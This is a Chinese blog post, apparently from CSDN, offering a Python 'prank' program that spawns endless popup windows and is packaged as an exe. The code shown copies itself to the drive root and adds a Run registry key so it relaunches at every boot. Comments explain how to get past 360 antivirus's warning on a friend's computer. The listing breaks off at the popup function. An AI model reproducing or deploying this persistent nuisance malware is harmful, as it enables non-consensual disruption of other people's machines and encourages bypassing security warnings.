python制作无限弹窗_Python无限弹窗,开机启动,打包为exe程序

这篇博客介绍了如何使用Python创建一个无限弹窗程序,并将其打包为exe文件,实现开机自启动。程序通过`tkinter`库创建窗口,利用`win32api`和`win32con`进行注册表操作以实现开机启动,同时使用`threading`模块创建多个线程显示弹窗。最后,博主提到了使用PyInstaller将脚本打包,并给出了相关命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Python无限弹窗,打包为exe程序开机自启动,娱乐小程序。

import tkinter as tk

import random,threading,win32api,win32con, shutil,os,sys

def Mymovefile(): #移动程序到当前分区下命名为 ARE_YOU_OKAY.exe。朋友问删了为什么还会执行。当然是因为有备份,玩够了就在分区下面删除这个吧。

if not os.path.exists(os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe'): #看当前分区下有没有

shutil.copyfile(os.path.abspath(sys.argv[0]), os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe') # 移动文件

class AutoRun(): #设置为开机自启程序######《《《《第一次360会提示篡改程序,在朋友的电脑上帮他确定一下。以后开机都会执行》》》》

def __init__(self):

name = 'lalalulala' # 要添加的项值名称

path = os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe' # 要添加的exe路径

KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'

key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS)

win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)

win32api.RegCloseKey(key)

def Play():

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值